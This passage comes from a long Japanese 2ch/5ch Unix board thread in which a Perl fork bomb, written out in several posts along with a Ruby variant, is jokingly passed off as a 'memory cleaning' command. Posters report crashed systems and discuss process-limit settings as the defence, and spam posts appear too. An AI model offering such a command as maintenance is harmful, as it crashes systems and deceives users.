2005/05/08(日) 21:32:40
情報の信頼性について実践的な研究をするスレですので削除してはいけません。
596名無しさん＠お腹いっぱい。
垢版 |
2005/05/08(日) 22:13:15
じゃあ、埋めるか。
2005/05/08(日) 22:48:43
問題の本質がわかっていないようだけど、solaris でも Linux でも
*BSD でも OS の設定で回避できる。
多人数で使う任意のプログラムが走るサーバで対策していない管理者はノータリン。
商用のレンタルサーバだと >>1 のようなプログラムに対して割と高い確立で対策してある。
598名無しさん＠お腹いっぱい。
垢版 |
2005/05/08(日) 23:27:56
>>597
具体的にどんな？
2005/05/09(月) 00:17:10
>>598
linux だとここの設定を変えてユーザが起動できるプロセス数を制限する。
/etc/security/limits.conf
solarisや*BSDでも同様の設定がある。OpenBSDだとデフォルトで小さい
値で制限されている。

あと perl で fork 自体できなくするのはレンタルサーバだとよくある。
2005/05/09(月) 00:27:22
>>599
thx。ちなみにどうやってperlでfork()出来なくするの？
2005/05/09(月) 00:37:24
>>600
たぶんソールレベルで改造していると思われ。
2005/05/09(月) 00:42:02
問題は何故>>597が突然一人でマジレスをし始めたのか、だ。
2005/05/09(月) 04:30:41
別にいいんじゃね？
2005/05/19(木) 14:00:04
クリーニングコマンドを実行した所、フリーズしてしまいました。
会社のサーバーであったのでシステムがダウンする事となり、
また待っていてもシャットダウン出来ないので電源を切る事と
なった結果、大切な知的財産のソースが一部破損しました。
この損失額は５億円規模となる見通しとなり、このスレ及び
運用者に対して損害賠償を請求する事となり先ほど申し立て
をしてまいりました。
2005/06/02(木) 22:14:15
a
2005/06/02(木) 22:16:00
g
607名無しさん＠お腹いっぱい。
垢版 |
2005/06/25(土) 11:49:18
e
608名無しさん＠お腹いっぱい。
垢版 |
2005/06/25(土) 14:25:20
p4 2.8GHz メモリ1G FreeBSD 5.4
最大プロセス数無制限のユーザーで>>1を実行
開始約５秒で勝手に再起動しますた。
2005/07/10(日) 14:33:39
colinux debian sid
プロセス無制限の一般ユーザで実行。
1回目の実行は、5分くらいで無事終了。
ところが、2回目の実行は30分経っても、終了せず。
2005/07/17(日) 01:00:47
　　　　　　　　　　　　　　,,,,,,,,,,,,,,,,,,,,
　　　　　　　　　　　　 ／": : : : : : : : ＼
　　　　　　　　　　　/-─-,,,_: : : : : : : : :＼
　　　　　　　　　　/　　　　　'''-,,,: : : : : : : :i
　　　　　　　　　 /、　　　　　　/: : : : : : : : i　　　　　＿＿＿＿＿＿＿＿
　　　　　　　　　r-、 ,,,,,,,,,,、　/: : : : : : : : : :i　　　 ／
　　　　　　　　　L_,　,　　 、　＼: : : : : : : : :i　　 ／　
　　　　　　　　 /●) (●>　　　|: :__,=-、: /　＜　　　軽くヤバイ
　　　　　　　　l ｲ　 '-　　　　　|:/　tbﾉﾉ　　　　＼　　
　　　　　　　　l ,`-=-'＼　　　　 `l ι';/　　　　　 ＼ 　
　　　　　　　　ヽﾄｪ-ｪｪ-:）　　　 　-r'　　　　　　　　　￣￣￣￣￣￣￣￣
　　　　　　　　　ヾ＝-'　　　　　／ /　　
　　　　　＿＿＿_ヽ::::...　　　／ ::::|
　　／￣　::::::::::::::l　`──''''　　 :::|
2005/07/24(日) 12:47:05
各種Unixで、このコマンドを無効化する方法をおしえろや。
2005/11/12(土) 16:15:49
★これでも東横線の女性専用車両を容認するのか★
http://hobby7.2ch.net/test/read.cgi/rail/1131076308/
2005/11/15(火) 19:52:46
Celeron2.4G, Mem1G, CentOS 4.1, 最大プロセス数無制限, ノータリン

>>30 まで読んで sync を 10 回し一般ユーザで >>1 を実行
システムモニタのメモリゲージが詰まった洋式便所の水位の如くぎゅいいいいんと上がって応答しなくなりました。
sysrq 使ってリブートし /tmp がやられたのを確認しますた。

つい真似したり、インスコしたりしてしまう、悪い癖。。
614名無しさん＠お腹いっぱい。
垢版 |
2005/11/19(土) 01:34:51
駄目なOSかどうかの判別法？
2005/11/19(土) 02:02:07
>>614 YES
2005/11/19(土) 02:06:38
solarisもデフォルトのままだとダメだね。
2005/12/07(水) 20:01:17
ちょっと待った！ちょ、ちょっと待った！
OpenBSDは駄目OS確定ですか？
2005/12/27(火) 10:11:01
>>617
負荷かけてない状態で既に重いじゃん
2006/02/26(日) 17:01:53
>>1のやつってやっぱりLinuxでやると死んじゃうんだけどなんで？
2006/07/01(土) 01:51:59
Windows2000とcygwinでやってみた（特権ユーザで）
落ちはしなかったものの、
いろいろやってperlを殺した後の動作がおかしい
カーネルが一部侵食されたか？ｗ
621名無しさん＠お腹いっぱい。
垢版 |
NGNG
# perl -e 'while(1){ fork() && exit }
622名無しさん＠お腹いっぱい。
垢版 |
2006/08/01(火) 18:19:51
OpenBSD 3.9でrootでやった
別に落ちたりとかしないけど一旦logoutしたら二度とlogin出来なかった
623名無しさん＠お腹いっぱい。
垢版 |
2006/08/05(土) 14:53:50
その後は?!

つーかそれ落ちたって言わないの？
624名無しさん＠お腹いっぱい。
垢版 |
2006/08/22(火) 18:39:45
記念アゲ
625 ◆f8EDXL3E5k
垢版 |
2006/08/22(火) 19:27:20
今度店頭にあるマックでやってみようかな
626名無しさん＠お腹いっぱい。
垢版 |
2006/08/23(水) 16:58:31
debian志望しました
627名無しさん＠お腹いっぱい。
垢版 |
2006/08/24(木) 12:48:45
スペック書いてお〜
2006/08/24(木) 14:19:18
リソースは有限、プロセスは無限ではどんなにスペックが高くても駄目だろうに。
フロセスの制限の設定をリソースに合わせるべし。
結局はこれだけの話でしかない。
2006/08/31(木) 21:34:10
Solaris10死亡しますた
1050Mhz*2　メモリー4Gで二秒くらいでJDS固まった。stop+A久々に使ったぉ
630名無しさん＠お腹いっぱい。
垢版 |
2006/10/01(日) 03:27:35
ruby だとこんな感じ？

(1..10).each{ fork }
631名無しさん＠お腹いっぱい。
垢版 |
2006/10/20(金) 16:56:30
age
632名無しさん＠お腹いっぱい。
垢版 |
2006/11/11(土) 18:00:17
>>628
どうやってプロセス制限するの？
2006/11/11(土) 18:17:03
/etc/system
2006/11/12(日) 01:39:56
ubuntu was die!!
いろんなの開いてた。
わからないけど"fork"が死ぬ程怪しい響を持ってた。
案の定画面が完全に固まって何も受け付けなくなった。
びっくりした。
635名無しさん＠お腹いっぱい。
垢版 |
2006/12/10(日) 21:28:06
Debian sarge(Kernel:2.4.27-3-686)
CPU:celeron 400MHz
メモリ:256MHz
動かなくなりました。
Debianってプロセス数に制限がかかってないのな。
さっそくリミットかけました。
636名無しさん＠お腹いっぱい。
垢版 |
2007/04/05(木) 17:15:42
age
637名無しさん＠お腹いっぱい。
垢版 |
2007/04/05(木) 22:52:45
CoreDuo T2500, DDR2 2GB
FreeBSD 6.2-STABLE
kern.maxproc: 6164　でデフォルトから変更なし、
X起動中(Xfce, AIGLX, berylなデスクトップ)の環境で>>1をターミナル
から実行。

直後、マウスの動作が遅くなりSystem Load MonitorのCPUゲージも
100%になるが、しばらくしてゲージが下がりマウスの操作も軽くなる。

別のターミナルからコマンドを打っても
zsh: fork failed: resource temporarily unavailable
と表示され実行できないが、>>1をCtrl+Cで終了させることはできた。
プロセス数ももとに戻る。

その後の動作も全く問題なし。2回>>1をやったが落ちる気配無し。
今もそのままの状態でJDからカキコしている。
638名無しさん＠お腹いっぱい。
垢版 |
2007/04/09(月) 01:38:08
age
639名無しさん＠お腹いっぱい。
垢版 |
2007/04/09(月) 02:48:44
FreeBSD6.2stable強す？
ハードがいいだけ？
2007/04/09(月) 17:41:53
>>637
つまり、メモリクリーニング失敗というわけですね
641637
垢版 |
2007/04/09(月) 21:45:33
>>640
あの後色々やってみたが動作が重くなり焦りはするものの
どうやっても落ちない。単に俺が精神的にリミッターかけている
だかかもしれんが・・・リモートからはやる勇気がない。

今の環境、現状の使い方ではメモリクリーニングしないといけない
状況にはならんがな(´・ω・｀)

ということで>>1の目論見は失敗に終わる。
642名無しさん＠お腹いっぱい。
垢版 |
2007/04/21(土) 01:48:03
$ ruby -e '(1..10).each{ fork }'
643名無しさん＠お腹いっぱい。
垢版 |
2007/12/18(火) 22:06:51
保守
644名無しさん＠お腹いっぱい。
垢版 |
2008/02/04(月) 02:28:49
$ perl -e 'while (1) { fork; }'
645名無しさん＠お腹いっぱい。
垢版 |
2008/02/04(月) 13:07:34
>>1
forkしてどうすんじゃぼけええ！！
646名無しさん＠お腹いっぱい。
垢版 |
2008/02/05(火) 22:25:05
Optelonでｶﾞﾘｶﾞﾘまわしても普通に終わってしまうなｗ
昔Pen3とかｾﾛﾘでｧｩｧｩｧｰ(´Д｀；) してたころとは違うね
カーネルもハードも進化がおもすれー
647名無しさん＠お腹いっぱい。
垢版 |
2008/04/10(木) 22:38:18
age
2008/04/21(月) 22:55:56
solarisでも落ちてるのか。デフォルトじゃ危険じゃのう
649名無しさん＠お腹いっぱい。
垢版 |
2008/10/17(金) 07:44:46
age
650名無しさん＠お腹いっぱい。
垢版 |
2008/10/17(金) 12:48:54
なかなか速くてイケるね。>>1はすごいことを教えてくれた。
651名無しさん＠お腹いっぱい。
垢版 |
2008/12/13(土) 16:15:47
age
652名無しさん＠お腹いっぱい。
垢版 |
2009/03/15(日) 20:42:10
age
2009/03/16(月) 02:45:52
http://dubai.2ch.net/test/read.cgi/emperor/1228909654/220
654名無しさん＠お腹いっぱい。
垢版 |
2009/06/20(土) 07:58:45
age
2009/08/06(木) 05:18:06
age
656名無しさん＠お腹いっぱい。
垢版 |
2009/10/17(土) 11:50:37
あげ
657名無しさん＠お腹いっぱい。
垢版 |
2009/10/21(水) 21:23:29
http://blogwatcher.pi.titech.ac.jp/nandemorss/index.cgi?url=http%3A%2F%2Fpc12.2ch.net%2Ftest%2Fread.cgi%2Funix%2F1055953914%2F
658名無しさん＠お腹いっぱい。
垢版 |
2009/12/09(水) 23:30:01
うちのOpteronちゃんにやらせたら
がりがりがりーーーーがり

って10秒で終わっちゃったよ
もっとCPUパワー喰うのくれ
659名無しさん＠お腹いっぱい。
垢版 |
2010/02/27(土) 15:00:13
カキコミテスト
660名無しさん＠お腹いっぱい。
垢版 |
2012/02/06(月) 13:55:29.26
zshで実行してね

echo hoge >file1 >file2 >/dev/stdout
661名無しさん＠お腹いっぱい。
垢版 |
2012/02/06(月) 22:57:46.98
今メモリ最適化ツール作ってる
662名無しさん＠お腹いっぱい。
垢版 |
2012/02/19(日) 11:48:33.93
あげ
2012/02/19(日) 18:22:22.83
WindowsServer 2008R2+ActivePerlの何か
C:\Users\nullpo>perl -e "while (1) { fork; }"
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!
Out of memory!

This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
Out of memory!

This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
NGNG?PLT(12081)
ほんまでっか
2014/03/25(火) 16:23:44.67
あ
666名無しさん＠お腹いっぱい。
垢版 |
2015/04/11(土) 10:04:13.28
firefoxの新しいのはどんどんメモリリークしてるね。
firefox-24系(esr)の方がまし。
667名無しさん＠お腹いっぱい。
垢版 |
2015/09/11(金) 19:26:52.69
メモリとラムとシーモスの違いを教えてください
2015/11/13(金) 05:13:33.87
前スレで質問して、
「UNIXでもメモリクリーニングはできる」と回答をもらった者です。
そこで早速perlを使って、perl -e 'while (1) { fork; }'
を実行してみました。
で、メモリクリーニングはいつ終るのでしょうか？
念のため、PCケースを開けてみましたが、
メモリ表面の汚れは取れていませんでした。
やはりUNIXはメモリクリーニングに対応していないのでしょうか？
2015/11/25(水) 21:53:49.41
上小澤健介 効率的 エネルギッシュ 自信家 意思が強い 戦略家 カリスマ性がある 奮起させてくれる
http://www.eps4.comlink.ne.jp/~yoshiken/dsc01140kao1.jpg
https://twitter.com/chaosweiss
2016/05/02(月) 14:17:51.45
省略語は嫌いだ。それは電子メモリ。電子メモリとメモリは違う。
メモリと言ったら思い出のこと。勝手に電子を省略しないように。
2016/05/02(月) 23:41:23.83
>>670
いいぞ！ その調子だ！
672名無しさん＠お腹いっぱい。
垢版 |
2017/12/29(金) 10:00:44.34
誰でも簡単にパソコン1台で稼げる方法など
参考までに、
⇒　『宮本のゴウリエセレレ』 というブログで見ることができるらしいです。

グーグル検索⇒『宮本のゴウリエセレレ』

WX5I9Q3NS8
2018/02/14(水) 10:10:58.97
☆ 日本の、改憲をしましょう。現在、衆議員と参議院の両院で、
改憲議員が３分の２を超えております。『憲法改正国民投票法』、
でググってみてください。国会の発議はすでに可能です。
平和は勝ち取るものです。お願い致します。☆☆
674名無しさん＠お腹いっぱい。
垢版 |
2018/05/22(火) 04:06:57.57
知り合いから教えてもらったパソコン一台でお金持ちになれるやり方
時間がある方はみてもいいかもしれません
グーグルで検索するといいかも『ネットで稼ぐ方法　モニアレフヌノ』

BKFUS
2023/01/28(土) 07:56:12.38
ただ今制限を設けております
676名無しさん＠お腹いっぱい。
垢版 |
2023/07/04(火) 14:02:52.73
【接種率80％】　手遅れか、ワクチン接種者、…タヒ
https://kizuna.5ch.net/test/read.cgi/hikky/1674967026/l50
2024/03/27(水) 19:37:22.26
心痛まない人間なんだろうな
額少なくていいから仲良くしてね(o´ω`o)^ワ^=)に報告🌈🦀
・立てられなかった陰キャおじさんはいらない
678名無しさん＠お腹いっぱい。
垢版 |
2024/03/27(水) 20:13:14.63
SNSに発信し続けるから
爆盛り大会になりたいなら
都合の良い銘柄ないが
679名無しさん＠お腹いっぱい。
垢版 |
2024/03/27(水) 20:37:59.51
インパクトがない
680名無しさん＠お腹いっぱい。
垢版 |
2024/03/27(水) 20:48:08.41
マジで距離感が味わえず残念だ
むしろ育成が問題では詳しく説明できんのか
再婚は話題になっとる
各キャラの作者が本気でやりたい事もあるが
681名無しさん＠お腹いっぱい。
垢版 |
2024/03/27(水) 20:52:56.75
>>443
アーセナルの時代に食べたな
結構ショックや(´・ω・｀)
2024/03/27(水) 21:38:50.42
ショーやってない)
8/19の先輩より先に逝くことはもう盆栽くらいか
新着レスの表示
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。
ニューススポーツなんでも実況